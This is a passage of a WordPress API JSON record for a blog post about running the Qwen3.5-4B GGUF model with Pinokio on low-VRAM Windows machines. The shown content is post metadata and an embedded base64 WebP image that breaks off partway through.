{"id":2630,"date":"2026-07-15T20:54:02","date_gmt":"2026-07-15T20:54:02","guid":{"rendered":"https:\/\/nypbone.com\/?p=2630"},"modified":"2026-07-15T20:54:02","modified_gmt":"2026-07-15T20:54:02","slug":"qwen3-5-4b-gguf-using-pinokio-for-low-vram-6gb-8gb-direct-exe-setup-windows","status":"publish","type":"post","link":"https:\/\/nypbone.com\/zh\/qwen3-5-4b-gguf-using-pinokio-for-low-vram-6gb-8gb-direct-exe-setup-windows\/","title":{"rendered":"Qwen3.5-4B-GGUF Using Pinokio For Low VRAM (6GB\/8GB) Direct EXE Setup Windows"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRjBHAABXRUJQVlA4ICRHAADwJwGdASr3AUcBPjEYikOiIaEiJtK6iEAGCUhnfYZn\/S05qzr8Znys7a2RZfwdVrHfvT91+Zftccb9z\/uX8R+yfy1+5f+v4I\/Hf7rzZ+j\/+J\/i\/y6+Xf+y\/9P+V91n5z\/3P+B\/fT6Bf1g\/1n+L\/z\/7P\/SH\/hftH73f8H\/xv+d+3PwK\/of99\/73+b\/f\/5r\/+l+2fvI\/yH\/G9gT+2f2T\/ve3p6o\/7w+wZ+3n\/29db9yPhe\/qf\/E\/bH\/ofIx\/N\/8v\/7P9n+\/\/yAf+b2vf4B\/\/+q\/5YeoLzE\/E\/kV0cvsp\/Yvnxxl\/FeCn8t+5f5X++cefAI\/Gv51\/gfx\/5V5jP4Dvez65\/gP7v+8H9r+RD8X0Q+cb3Af1u\/1325dKJQE\/o39z\/7n+c9kL\/f\/yX+d\/eb30\/Uf\/e\/zPwK\/zH+v\/7H+8+1l7NP3c9pn9kQ8SI6dUglLlK\/3IU0iwhuPe2FIS73ugx9FQB5UugRRKn97c6M4rMbVcXa7DgOfy4LtEv7uogwWi\/xpbbKgzxK2R\/zvA\/awj9iEQuUvkiot4lgh+XSOsv1oydfLKMPD\/Le2rspwrR+DK8KmtOSFbJM3MBv1kOD6g3I88hP6cuoT3SlMAkaDqP7L0wxm5F7F8yUUa5XyA3Ii4jTL3WyPJLYB2vqzBw6q8RGpKsgcKjySyeD47VMDAh2PBDltluuMTn\/LqvakmxIKczoWlqyc0t0jcwPQoIVw7atnOSi\/qzFh9jKMkwMkdQruzV1Sb7yW2GxBDYA2sovoTqfuLljlJr6ccFYOGfzoKAyBuNeabOnLi8VnwvNHiUS7c1g3XX+Rn\/I24f05fFqT8CEikmJhCZtqQ4SAu4Rb3NzZWeU2R5fw1F36Z5yTwuyG+QNzkCa3bqCQwa\/w4TGmVxKwFeup7NYFEl3sHdt2+dI5KT2HVnYTDOwanmk+uwo2cjBXiP6UzurzNzk9E7bNWToNjFSTZEPCZnGzLwN3QdelPPQyO5X5EO+dKJohIlXmZj3AfXmKvoku8iEO7R8YyN2mJIKAKirpg+e\/SqLyQy7ygvER829YSoQHcH1lB4sirmXCnSGtaXiE9qNdg+lEPy63udnq2RgYJM8lVSuBJgWEn0DQXu0BqpLhZGNfQjAd8xGOcq2lpocu0\/hqZCUCBcOJl8kRJ6pWjtBpNoLl4TXN7uAaXq8hWCXaF1bLFrImUceEJgdPKPsTJxWjhBDLFXRzE1Ieb7ex5QMHsXLKvrQoT0jD40CyZbKrW6dPctBnb3WN3Zy\/aU7n8oGBVKMNc5fUGWcrKqMtR+1OCRJtf7FVGC1rSHfHVe2f4y1piDeM6I9UWcHdaEbp55aENCp0K\/rU+uUwyvLJIRdClFlfGtCjmrSUZQdrkUigdxyKoY+q9+cd9gXAZkaHxDYTdgmmo\/8YS5t4YL0ZZaLh\/84CSqZB27YbG7cAvgKcfpmWvWunxTaaHBgmQGR+aNDcucKZ4+lvXX\/0etWKeUjY5k4fKL6\/FFDcVvXyqmFAjxz+LQAKAkEauQ92kn7\/RGmD+ovGh+V56Ce9tI0TnP\/fpbgz3dJyUqrp2xuEcrADckkJXD5gPGCx5hdk0erPJkZNBQ1tCTim9eMpI3P+Bl5KQ7Bhqj\/+W7o2OZeecVR6yheeX3Gry0LUHSTXHWa\/OKqUGRoVC71PRKkesPHcXDky4I5WfRrO3B7jxGDEHwUBaOwIiv\/EetNC8MPB3oez7Hm5ppSjyTLazOgM0BWj+LpM+4\/T+HaRutlibgtsbETZhL1X73F+6a9KuVCGSNXV2G9h5OAAAyKNfDMYQt3Ekg6o6ALlkhJ9ZigBjzUPdb8jh9zE8RaJczl06FHVy3c6fjsgxk2YBeGxYLQ3RXn5fzuQaOPIR3rSeGn30sPetTZ8j2g0KTUJySBX7t7dM7qmJRHghQlmsmc7sM5vTTRLo\/RaeMAVEzp+ElC2eZB2GgemRUrWxH5Q20b8n3Yes9VbiX2TSKdPsfQ4X0\/3zLfGAlC6ihdC3QKncfESkwPY+GjTvhX3FOkwfYijQwwNwJe6KjIDXsqt5chRMO69COXJRHk3WVuwnkdtg4y7672ekUmn8bfH2T325ltb9ADYAR7usieucolkwKQ8HjslWDQJKIadE9HtSdn+PyKvai8nKCkmVsmDcweszOTBb5uP34jkujHbzq5v7GtLQcnerL4ORvCBhEO5w2o5pDLnB61nKyc1JxliywGy6FeGDu0q63ie7WVUJ7A9LwiZNr4MOn6UMBj4jqrYzAe+zi9sXoIO3sn8AO1CAeSr+EVtKLq8ENgTwH1VoqZBS4ulkLfXJ95DfruXz0NR7ChWRaY2ha7jUrHdDVuMuWDt7gzZ5wqQdbBsNrE1alhSnz36o3CMXVLQ9qyhsvi6Tc58yy0h0jZKZbmOjZ9yBf1mrM4kml1+YBML3uQAHHNkd61knSYb+6dHuS+672A9qGDpK\/u4H\/4rkG4n1SXQAjtBnk+O8fqdhrbYoEhBg6wL+T+3qaTOXhbUzhcfRJIFzNys+BdqGPhWCPkBN9IEsWo0Em\/h841J5vZUtODkA80\/rdsBbfpvwZ79F26n7nesBniWW\/25xXuvUuvomhltCxHtxUqbTTeNBmnpzgcnetyBjIRTPJ6zrb5vPiCphOgzgCwgl9m+8VX5Znxa95\/1\/0PMLuD9M46HNswVUG8PsBqqhOjLbj\/U14vN39lVH8x8mA7hGbTdqHyJGWLmOd5oJGG4Atrn9CarvQyc41bt\/AxKZQDnd22YHmCr4E\/tU4oL6CBv1f8Ip1jDAF6bhRL+UdvwLH4WBYSn+KeKsUS1sEC6lndX6Izo8+oAyOnIBEWkIdqT6LS5I2loTWvJ9qKor1Ie6Qb\/09146Gj6UvsGOxlREfEelLrsZR8UWxucgVPxW6PrgZcHY68C+PGZ3Ng+2++z+nlkJva+gAIsDoQpL3RsQJpZReHyxNwKvZk7wTi9X3qQr\/3U9oC3ITZUQrzAyYtC5z2iM9gCfhrOhGX9qsElEJzHjOf3urmzh+tM\/hkh8AwnpV7GgWOpaPs6+elihlR9bVepwyvY0L\/C+BrVcehNyB2YN1RP\/6QGvNA5QzJ33OWa+cROKWZ7mnLNzj7HmP8\/qk+lgdCE3t07X5sJMrzaApF168JXZQ19bIBwW80nr9ZdtuDugGlz4kgAA\/v8Gu4U8G7bsFQu3PWuVFm1+eioneV6YvP\/8lUDeynEeXlYh+GRAx+O8bVX6FmXe5M+E1XQWIivvOZg8YhBENiCDAEDntFBmbBJu5KhIdO8hAqwEMTGfo\/oP6gmq3fvE8cF\/pZ\/u0zUMltDFf\/+FXGMIzaJyGIERMMSRbzEhdhA4PgIvI82Ubi9dkf5kpcJ4SajHBEidG8lhRL4NhHjGnfhqosG3t9Ihg9uVChWFB6SpS6HGznkEMqtbIDvKn19Eoslf7CTRh+KmH724uV+D+e4Ppx\/WzxhoaaJhAdkZECzPAUCLHlUy4WQCPWcm1sH4jwIrpMYVuy6aalFdKdXPd9fEght\/VqnzEH7Is0I\/nkriCNrcPWHRYTKZpeZ4jhjrSrDwUA5pvxR2nRc8l\/JKgHSicvYhiiXN1OE\/RmAkGaljTbdS0CUeKoA3HEgGYOFP+ed1WszgO4Vr6fcMavN4vafumYb4RJa0jpUfqjaPY5YY8prtGei3sea3xJtoeyxMsxvufWBcMgwBha+KuwFJ\/ZuQ\/hUgWaE6n+zdB6IXAqFvxGoWpJphGSPJ+jN+l4tNQcfMWZ3gEb\/cceKnA9Zad271dNGPON1uFx\/GtM5f7v9xo1VcUOf4hAwtzJxLXa3ajgyc4lSopqF7N+lqn7Q5WT8j9A\/JmFDfJ\/ZUhDO9GpBAX1Rf8F6+8srW6P+gsRlMoLfoPH05fnnWibw01nYfTuzKc77f4oCuckSCGb6eidzgKLZ1Fv0++LK0dZlhKQyLeZABfaoKAW3dmWJa3E0UpnDOCqtrJSTDiGTvAxTWV\/FkS7mVB2irlfs7aOyDD8AMOCLLbVYU\/M6FX4KXgOMG+m6P7ARQui2m0Ylpwu\/cjCtPsXd9jEX+OEdSB+hLe4zdWOyQ9mlB3MQubTJotzFbrS46NaI3x6EXP+Ho32NPtGPD1757g4pites4Br12+igO7uekJDUpivw7mj8bwEU8ni5X3fwEj3Zx1n3SGzfTCcclTPAiTZp25J9sbIpmHWp9zy\/c6kIO\/h7aLvX1PH9fbhdlWTjhhEztuMZbsO65eAKFzME+LQ\/eYkPTDMiCxJOboMSa1krZhvwCavupvEvuw4WjpZEJ0Ukg8DGIN5bGPB058xkev6cx8\/k378reGQeLEN4HYrZ2l5oT49T7Cu9U\/q44JVq5WfbBYIyinMBvRjgC4PDN12usKi0E+8gOgNN0BBi4TclVXT8yRmRrnZ4DNtUHjk0\/eNtj8KNDZiQHkc2PRJkQKuUpLcOdVGsmANuyieq0Jb54Ng0Q8Z3WBZOsqYUp1\/zrSAf3nQ0MMITtP1zc13vkcpnmecAlT8u2EVXLzRtd0buMK45iOttRtLLsUic0+OfjqWYQj+lkk86zpdelvbT8LHK6sHqDGocjrfaRnVx1QlBIqlI9x0dxBLxlMdhi+XDHnWCfhc\/ih\/tTZa\/IVaim5RmS2079zFAzqunYSTMgSJ36G\/oOzlqQBafwoYC3aDzadJXhzqrAPR4itZhxFxXQIPn6NUHNkTMLU9rs0epFHw8wxht375WIEQwD3kr02+oLL53ucYJA76e3\/JHUFe0\/MCM+6YcLWl0s73pF\/VmRoQ30+OpAVCscsfVndnNuwXNCfHxmAgmSm8NKNCEMtNiN+qMQZJw8GM+SjIvhhm7zWUCFwnBrfWngpp7xE0jcsQOBl5ERLSk+91+VtIOQQm9rDgTeevruCMfySn\/DatGl1NwNXUbWnVwhtl5oLR3f2A1KIDYvgsHEGnQs7lAiWzLgtT\/jtUKTexS7\/B52txPz8mZfUmx4DSXNDk1k7ELXQ6qUcwmsfBKdEWHbgjFV\/OMTdTBJPGnj1wvqVPqDE4tLS6SxdQc9Ebe8bORswScbnaT1VADZP937tMlH6bQBIKJxP8peIlV0pixwETXRc7OyU87D++TFQe0tmLHN9+4Z\/7OSYj2YKu4ax+TEfX\/YJbc6KrG\/WaxANexmbySKUq1lsTuQeuhqugzsFSTu1x8L8t2yRv+gQaYRtVv3PdTpPTHj4E1TvlRB0Q24BSXJFShorq7fOUwaYiRwl651B7j1EMMDCfMHOBhbRD2Z+vsF\/XX6byZzzU8roEMwVX2p3CBqV82ghxdZdRGk7ZPTsG8b+telc+NlpslcrVBhx+ihh\/qn1uj30y+DvvSUV6xO4N+jyt+id6Rqq\/5GamhfTOugSL5L0pod1rfD3\/6+AWSJ1uDG97IqZVWgh+zelRjQeXNyGqKocOiriSbM\/GLe9MIPxyH8XWO9rn78LJclOqpgn4xBMkYkLT6nDdhLSUGXANnIspHL9QcbCI4eU\/QTETAd0xVTLKMHAjKxkg3aqKLdtETKf7F2VdRL1bdoNunKupbaQz4j6UpJjPiUq4\/VVmpPVy10cAwKc2HHBTGUrvKFTsagJCStwUGg+ZprZWHNIThEg0TZjGdUT1k51\/IVQQPCtJyLxsI659bjNA4G42sxJgC6bJPjpb\/V7MCD8TFFHXxvsuJ7TY9Ph8UxHuzEFiLPV+YjbZMfR4kWIN5NLeIbNFDjUb3kLW\/E1+oPON3wX3Lhgspm0rJHG7R+Webo5meE4zTd9tYQ42qhOeWRch9BiP88R7KOXZylukn4nS3pT99Xh1RC9nm\/DC95uL7w98YG4ik02NiCPSCzeCiUjPElM8eyBUnEkwq\/pt2IckGJe2zX2Tsei\/CqvtPbI9fxkcUtXzwWGDoPwwcbf\/UWquo47lPTGtkpPWnWCwIkSje5w5gc6h75N\/guZ7T+O3FB7peQATmAChQpF25rLd7kE4577i2QhciVCT2acdM8TJAQ3HbEYdmRU\/BHSCudxw8w28QCo9Qm5Lax+0MC8lQyH7qciG4mYcF5Q\/U4QuO+1CeXQP4jbXlxB7nKwTJtMNYw9uPQUsJBhBNW8kYOQGp9qQvfAnmfi97U1NozrvvZEgxt3HeFVmXR3Vrfr2XU6qMsZsXYvd8fuYzHjvAwp3ZRucFLUTUpPZQ3ChaV5f5ohRa38nODJ3p3HDR+BG0mprn4HfLgscwlaiGUu4JGwC1M\/yvTvhzRCgbCVk3ssJ2dn4UkutEW4NUs39J5cUGDAW\/TEv4LPw3sxxMPx4ZLLz7+rMq6SdvbH\/QeY2UeuGMi4l5qfZXDd+V\/G7hQ6eBcWmrjWj1ACvgqaKTZYFoUDyen\/ALiv+4+rFOmjbZMHbMSIhIOmZmLhipUbB+7Z5\/psCZ8NNx8\/rC99Unw1+aTAVmAwXgYdkpKR1EqygZswxiiuFB5ihNCQm9LPrKzPqDm3OkSg6chDLCfhObiwIR1cKbphWXWLq4gxD5k\/PBW+3ePX5mImMb\/XRuTdb0wVRZu2jvUAgOyXjjCDTvJxK0dAmK6zBDaGSLcj0QEcSgbskJCIR12gHvm\/DKujWQi\/pYJkwklKYVeR3aOycZaLcwr67Acp\/BOWdMR3kK5Pf4sS\/zUwuzI+0jWo9sEBvaGfff3VqreOH9TO3b69rCE45D+QoBkAG2VQ33vGUm2DKgITUZa+14hnFISUSGz1rMi2jOBYxpjSFmhZVvxKekupxB+DkNbLqC+NGmXs+pMUPWqzdtJKf5ocGoh+ejuX8KO6vAI13\/EABeNUR81+e+BsnxscjVFUoZTAh2gEOJTF\/ruZdJs5M8M9RblGjSBRc9h\/rRL2CwNbf3Z9sWnmJpLPku+dzwSfoTH7846JY7Y6WLzGZVNHYIcNst\/6SIwOX8V7DjNu9bVDvDHwShilH01WTjy48tzIRmf5u2F8yDwc7+rtETNyyreGRZpFaWxLE7aVQutcimTJ7z3FlGARZfAyYoxNvyTFiq9ZczVLXvQNZ\/LB8DB157q3wwlcyY8q+NMKEYjigAr2gE2KCm\/gEibY\/TLARcC\/dlpXVB7Ky40xPO13KQVq9Smw3xNCwPnX9Q\/gaRJTOChmdCJwFYcH6v8cWR1n4YsesG7\/9Gsg4orIeuQqm2XV+8ZlJQlmJXdcUuezwVLxUlUdtK8A0S1eGW+QoHSA8aR6ccq+4gRK4D20dWft6\/uwfLknvYk4JZ3U55YFIWfA3lejl+82q2mv8DQBIe61mlM9EDpriKmDAhzguA8mORKidC9hV1zdtsB1MaZS7SovusbJZJZTNWLtcP+NFfWfjxYw4WO\/Jh3s7bzFAZ7mUkrvVi8ctaFVBuos9j3kGG\/vL+fLG8fQVzURo7ptIq6xRKPqFIYeURUpMPL\/\/J55X2SuwCtgdzxD0HPVxSUVr3hE585KIRgIT7IgsKI0AOmAbtwFgm9xPWXgkow057bk\/YiiOUrOXEsVPy0sQE3wg6S24HEw7\/H9cUWaIT3u4GTxprzIPysTzHoz3kPl3amQTf0UnRiBxPelJ7gznpRrqhBMyEE1CQDiO+ZI9b0Oo+C2IMMqxREuFI7MnXFo1gtTf0shqR24gMaOzABQk08yj\/K8Yoy1xtf6KZVclbb4\/YHykkOL\/Jl35HC5WHiKdBWkCZGS9wk3icJagoUAwwd7i3YqtOOJbmjaGSC9PQyzJwpDzWbHDVgtuSDGlxOMackW4+XXhNFa51cG\/d5I8GO58wwnQ3U\/FU0uH3LCiNAe5lh5R1NUhW\/L7kkpmWbGa3NEfJ50eVq6h+TnilpYMbnw4\/SqBzwqdnPqdiU4T+0CUiW8aDtq9wQiYGp61nefRZCYKWqlLuHrIdk1kvoGG5hm9\/bBbSMic00Q89ULWFjvQRtypkWWWj4I1vDNYCscZMudltFy32QxWFMuxmC\/9R8yWj2njGPPd9+PLbvdKjUZ0A4cAuXxBmO0+4Ch8FxTyMDWS6UdztQjK0tKEwwt42BOvSu7zRFjQafiBpufog61E0k3DcurZWGArSbJjg7CnvVqfCRFeG45qeZ0l9z7EVw2v6NbbHC5ksvaTB5PgKUtpLlJXqQTWOPsryrC9KUZTlAdVfADPm0mwToTIIUQEYm39ce+4aYPAdKDCbfAL5nNKSu+T89836SLrnfJS0AJbkK5HyquqzHVvvyNTPpmsM8wQMMALiSRVg7Qud3jHzOCcCP3eFDAzC+cT5+md07yJLIArGqGx8Lz3J2aNm2W+s2ACboGq3rrqpGlHsAqzHRKvqKF+o6G\/BgLVw5Cbc2G+C7qXv6K3IXAF3rUfeCOoiwLE1ttLTc9etrlWfUzFlVJfnThCdE\/6x\/lUJ1dArkxTZcqyhlX9UJ4ETMrFsVQ2Pkwslehu\/zdxTc7LOYoXhAuHywqvJvunRCKJztQjNvxYWWdmVwfHIqLU7dZdmlZxhIlPqNT5A+00l4WGgN1sBX4vJkUvFwLO+Ec4fYDB4wUJyhSva3SJhNzk2lKnTTbE2ZPOQycrmtnKgH6AjmOft6KocUwdrAwSJrTmBocAunJWYRFgykQ5JDBADUwqWAYWPSDhkIks2qx4\/I7w7Lp9WMi9wmiuBtGNWJFx9SfEHf7SRgRUsWYvMV2cBxSig1hM\/nIHaZy7p6\/rsOIfYiKF\/0HVZiLXJ1RbGCaHtZ1AdtX92ZRmpwQbHvVQbTiSMp+qDVgMGrUrr9Bnd4NsR4m\/0Ebw3zVaIFoqXViPH2lGZ788Y+H9BbvQne\/W3fub+l7A\/0NW1pUgSZznN51gz1D8LAj1dZQ3M6PwAx61wIEJnvOfzColmlL\/9Do6sqI5K\/Az0iEJtP\/mIS6qL9ZrX0zC1AEuzBA8hVAbed3tH9PURlMv5wfpoEpBbFBmY6ppMLazqCMvTXayenH+LzBgaYqc9lTSHwJ8OzzZRlltYu56GZ8BaOi02CMvHg7ow1HVV\/1qcV83Z+\/se2fesoQrYRJk8Gv0BzhmIqYRGjiSH9zJHW41IV0wa0K5qAxaTh7fdWPT3Qs1mYmBd8woZa1HvIagzR4klg9RaCwm8WhMdQKr8M4InBxwmWlL9eF2tqETdKVc321zFbPhFTxk3he6\/lg4kYYE7HjwDhQH4r0GPMlXudDv+3jnYUT5hTzXs36yc+q9MZqEZfVAUgOVSIsrF9EeTuGAn2af9RsXPOm1xxDTOgqBgwX0tCfOrVY50WUGzncuORO1rjN1bVf66xihc3M9lIGJ2kl9i+PUCiN\/KrmoSoRyRnIn4Vn58Vj1w8kLw3nKMfe28VbPPVT8oDP58Alfpp\/JRQZaK1KDF0CmaRb\/vw7eh2Uxuu31x4kFzfx+VN21WSRONRtaFCq6hOqzJNTVh4KAxKvXzn5SRkPQU53B3cBsXAVt52iNHuR4w50LmID3XhdbQFoAwFCQf44BmGG\/LA4e\/z2NwHcL7YShMhb1eSGirWf6LZzBXtUd64l7WNftx+iR298omgSB7veARVo6GRl6zoleS1BwyZ\/vbtyUI5jg5MXlal4jXLrhDqCb80J5iSe21HB\/6Z+gI5aBVgmdogiw3VAiQecq+XJiYx7fsMyCsvh6rR6PO5NKy0frZhGKtWl+5ezzOFfjVaeqO17mQjlQkIEDtU\/XqENmh5rVsnol\/YtQ9cVv0nymFETnN5mQyGzfarQjFzixk0LO+OkUigzaMKdXX03QeWjZJyTgZQBgcYyw8yG05mAS5kFuylom\/R7vGfHgesk8dKlnrY\/BNqFwZ+lAPbj4i69tobX4fk21WCAA5vZaHMYNo7a1kGqS8ON6zdgBp\/rJ+iD0wUWcLmaeFg7bKZ6HN3fYGJdxYld3tXLJNMBkDFaOsOAKpG9nXF390LJG3Zr6RUR\/g3jWJYoqLNx89bGKbQfhirVxQazMsChyLu\/yJbCkmaZzauH\/XovinF3RqzcDeZUyTDha0Q4nPsB\/yUQF20iW51ZVawyaVmGz9KKksR8rM4xPwxzca3xcLdiTO32v6k\/yhyg+ICImZbKWaUvqAFhabaIMOhOuEYef9l\/dHDVDpsi0ndjYo1H2BobIHOxpNgIDK3zjS9joAlhINwg3hqSgAH0zT4N2IB2sJXJZWsrZ7ZR8g2eeeIb7ADXJoanfdcZZIvZFDyssjhGscqH8bevldFluvQm4sky7OD4QmpNJcZOGEq7I39Pz02bVMSCaAz5DlHaZRDIANlE3ZnIcVu77KFpqkFOWeK4l9PB+Ce7xxAn5ikZQ0it8pZFvw55WYwBzJS7BtR3AXTcwvDG6Kz6bIOLzQKE8wPHoe9llVFGWFgIAipP73wFuCdINssqefL670507F66ds5Xvry+FO1QwNglM6pT+r0ZZXykjdvw2Ix+pydsz1US\/eUzx5AQLLvAaFzC6iGk\/WxVrkaXfkl3HbOkQfQoHLGG3e8HiSeFX8VLdE70fpWwGG+5AgLgeAmZaNXOhHS+VkeXMtf7BNgO7ZG4Xe5EB3pMhp\/BFCPDcvQ+ypKOwHXzundjOW4LULKsglsdOYMWds1LF+nEnp6EmiQBHdKHS+amU98qjPq4SJJUMRy5h9W1ZpOI6HW5omtZVbbUqU02XSXsPqz+XZjM\/r8MyfTqEm1HwEto+b4KM5XaYnIHbB+kaZOeyuhE0849ctMt7IEA3kRciQ9ZTZKr3rfjxlg2U2SVy+OKBK+kS8JAM9XypsrTc9tC7WDftas2LgK+d4cJgTPOWZyrMkzjg6\/dx6ZoPQyBgxfudYlHsQjWa3nDSbj5kyUyZAItAL76S7+eyE2aOuSUJVUFBc0QWDSF864D8vfVeC5qb1gmuLh28nU\/0zOCn5rkhAdkXe0Ynv1+Vv4oTMZGvOnk4X3bvHsL8AHtlSRQODCvgnc\/t4I5cs7ZAYS4zPPioykaf5JrKGhaxTPvbOT\/4Rdw7dWV6CmV4moBE3UssOHAiXU8dNpEbgW4owgWzhkQ4m15bBqV6VJAr7iSFmOT6sldYxtItlcx7rS9MSZN2+RxbKtXBpjERHcoXoT3BaE\/Dj4+48z70y3lo1MlqhRTtxcxrqnrvv8qdlcX4OzqQIao2UNqHJBJAbSlvTSiYPTz+4lFBk8j8tZhGYKf7WVFjZU7Y8jH\/ZR40GOcibm7zLgRIO9jJOmNRYTB\/xag4UncnvtX2V1vzcek7epVY\/caddNcdd8eouXzBMNge2jOtRmzkpglGdF+UqIEl7aaA7aNF2aVe1byI0OUkGgrxIRgKQG57hTwHX9x68YjuwgaR\/5VvdG6VHXr45woYeVvrsNfujCmLMZ7IT4bvXR+xmEX\/EdR9rXiHHDkwsnrK4rpFmUmitR8BeUGdE74qwt84E0SqsBlng2UmdUDSVyvmhNYJJjl\/BE48JsdChf+QGNbAnasrWDv01QWWa+tTrswjOILx9gWuEU4pSIv9KMZbBRO33jXPjIkxrltx9ZAeHZZ+zQf\/IM9Sl\/iGnnboKt\/fTAkyUB9BisP0IqlGAZ6vlWOsyma7t78\/UUEHHJTA5z3\/22nM6qbbnry6r2xAGHCaRmgxjkFEugzQ2XkFS1e3yPnEpduf0cBIIloSnLgzd6iZNivftYuH6NEJl2G7n8sNMYMCqJfGOLTdAcCv4ji5iNjEiiSUZPyB7eN3uu1cjzMzg8KfGNOlkeH2gt7bcRLb7MvJso+QJCS\/6o1F\/bxVpnQqsCzaYoT6FegfvxihtP66QQmvcLzeBzBVjoTT2sf1QMmXuvcO08RyVpVX8sZRK8KYtsj77U5abQOmnK1Di5\/+NA42maW56G7A6Ao\/ACRFWSfMycV8nTE\/50\/zcAOiCbt0pBDS5oPy6csSsdY5NZsiVWpQr8sG\/mG6qmewzITGIjm3GXJB65NUATqYvJRTsa6tLXEWDG9uzKeIJBkJC3z0xm2M5VHhtvLSQpDWMlkOQmhIgZ8BIc4Z1MVtmgNB4Ew6ZUbeK+q5KWaXJGNaBE7ATLkEKZNJpx1aMtIajVw0TXuSvu4tqN8EYDb5ZkaWItvu2eAgC0jBDJX7O1U9zWGky99dFoRlRcsOfY2yLPEjNG8Zc7WBqVFBL5FTBn\/\/AfqdLaDMZT9AdOreelq\/omU801\/rPfILtswEoyC6e5Rx4Iy77tOerW69rPZtjp6TwMXR5aPzSbd6xSTDVTQsFHa1aWdXOHv563Oe21CywImkge59RyajSJzKYN2kAWid4SwE+fdwZmBm9KBvJGxwDoCYdaJMB3ttGzcT516slbSziZTBPEJZAlzOxgbQANjyIO6QdbaHX6OElLMU+0pmCFYD1dxeWEtrkkG4feVytHZWCCEBI1FZ\/b\/Tt59LBXmvWiCfLU\/lVBgfJYWwrZfTVA1wVimxPDfXngHRBtnjNFFBxd0mBL\/pNzDorXvg2YJyhwWK8FtZ2mdN5E\/VosmkyafnGfCkJTrs5pEqQmrweKgTNUDJxHp6mqvkm8f6YEzEc7ec8SmeFSqYWhCLVoqWa4NBs\/p7GO4K3R\/A6cFQw2vvNtdFkAEKZA9SgG7lCrzLDE2m3jNeIch07a5nWmC8\/cQ0w4wiLvoPo92Gs6w+X6hBSKpG+6Fsz\/VN1dBlbRWyLEQzlQ8Dm\/Ov+vL\/skPfYB1LD\/yysJBDng\/j9pzJVDAnOsLrAyj4ZBVGD8Fl+dYQ7K1j5iGqzwBK6sJ4LrgwmGWqYwPu7sKi5PDY25rsCOtCz0sjVXEtNnwzqCAr9AlVwZ7NltiYLeMkIWT1Te2yp206tXv+i4Nev2uQdbFm9gd8WvJoTJnxokkJkSoURzf\/4sKL8J9Aq0ifuYv1nV9MyT6JowiWkuKiOiMPcx20BIjdZyAgGweJ1ZptX\/zUx2Z8kGwTV\/gxXxvNg230\/W11Ot1P5Ur1Ty\/cRNR5z5E6nsg2rJTAER3r\/YxLSkGH1gU\/+YLxRKoTR9m2uzs3xLRvzemSNjU7\/ih3KoQ1n3AJoSg0yrPsrAaAIiLYhqUDcGKoFHGss4dcTIeu4Vj10s6krU\/zf+oVKT6GRlOfLwp\/ndizeBUll2hP2nwUQkOsTBiacVl5NOMYiZhnB2t\/k2lm2KVy+SxQ7tVCY\/Dy6lkbfl+pST35UM\/aWMiZVw9uSXC0JUjrhw9XLaK8fnjEdPdDFIVP99kZtsE\/LnZcdFsraKtFrAsBz11UUyFoeMfuNKOumPBvSTlIOl0WOf8PBGLsT9NHljeZbjC9ZbH4b9Hu6UgE2y741cECmxY4QaZcsoLWr2yuDai3cc0lYlnhoXAxyzY6C0C3uTP3kOBXqMr2j7AW7l+\/9Z7gFqBKfcNg48haaZ4MZ5wEUG2KQhqI2leWcwi8cuFY90iOs4EyWjy3ecIbHMMK+CrqhxzgWmDMK5V1v5it+6Ht4+GRnbO0B+v+d5pfrD5ArrpvrK+nxbI5xXhGkc+doy\/Emh18snGk9bH+s\/Wdv3CMihijTx5Iht4lLXkaj5768\/ipPVIIrUWgsaQ7OrVCYWivUWAdiQzUdwIsRvC9pukkq+IBtZ7QGDaMEaw5RMxyyKPoaglEWqyxdCrghn9+E5ajmqMMw9Z3q5yjGH4LUqm+ZwpQp+fltiXK1R\/2g9326yB3KVrlqbzse\/yTzYUOOp5bu2Usgi+AX6DyxPZepvZ59YNht2e5uSI0jD1lJs7Luu\/xgDpIwrQCe0G1UVSsu7xTuPfd4BJO61WarjANYCdz9NwOTPkjDrEsU1Huxuzn6kwzooFeDwB\/VjODg2SQuTPXj8MNOHAYZtyxHW4t7Vz5vGdt7tYrTQedxnOprxkqzOC4f9SMLesH+EsUrKz7delMdSQKxbYFzXHdQgaqvYi3Gg9Ht+PulAaLC\/m\/5XkTxsym\/RYHvA\/yaXBTlwFFWQK+lHshBxv8yg6kC0BzJmwjg4lUOPCrFzQLwR+zrHtQACR8ybsIMsjZm2Vv7DN0afgg8IbxpLa+V40q9bHGBYenX0ZpYbK\/wJc8Utv6c4\/bZLqJ1gN0cq\/n1yHFlKznEVfbwP+n7M\/q1jGQHjfVRTsyNZj8wK93hD\/CPm2Uu3xaX7fPinT901xTuICQ\/pZ1yjzSGikvG9hO6NtDuysk82QG\/VD82aUj5+I6JPZLAFYnqc31m7um3AaitHxQZWCsggwrtv0JeaA5I\/v\/5Nv4tIvSElsXAtSD4l+9S+T\/4V07460foxhDNm+Lf9EiM2\/CyubSob1iAZxVBO6iEQfxyAMZlDoWqKY1KooszjluXTnwrnlwGrdrIR9zJKaPKZzopRpu7ouJ9jRB201vYEsbnv1maDFpWML4b\/puwe2mMZ9W9k2Wb9r1jE+68Xp85Ui+TiR70qSk\/SwcnvWk0Oi4X3NTNyPNV0dN8kT\/+gn+sQ7pZJjkp4X+1QwEbPnlJiLYdtJEaOQiZYvDbzods9Gu1jfXjFw4mvSLk82bvtHF8jol8Fajtr9r\/RKDPi3Z6f6nXTRT2+g3LyZ5Vz5FNl90P6RoBTj6LLPG3EmSu5KFkbr7foH0qk17LVm0+0tamvsOS3HYIlrzqVR+Cl6Lb5fRyc7qnULmdp0yZ1u66\/tgFD0NXtldP3cN3HspKjp3vfPO4zhzL5\/FiGG33zIkDWfVBQYnTJ05F61e7Cqt5VBA03N+RTt5STWxLuymPjFTmuSHinxGMFtNWmHVO7J32rt0mKcKj7Ijruub3zI7Xpf7qsfNIfF\/8D61bOF07\/3IVRP43udxcGW0vEKSVw6aafyEL7M2+fBvlUaOgnby7Osb\/jGzVPHnLfZ1sg52Orstf74fQQut2dfSW64xZ5IZ4YxkkzspKZFVa4Ri\/EpCJuBu3\/XSCDE2Ilk0UxkOhMDnD5lFGkPf6vK\/FpXaH9SH4VVBPFN+WeJl5QGTeYNqFUZ6TAigp\/kSahTtmH+bFYj8Lv56jGP1xOEUJiUqwo1DAmjY6AfH4CCkAsrEEB9jVIUQdXZqYdwVC9Ok7Y\/TMgJEjnlquwEBbXQQOqpWpNse9qpHYblHPxFj0F1gpl7sPBBduNW97cvSWEPTwP7qDZlLNH5hkTM09\/HbuzHzCEXbYE2wOQB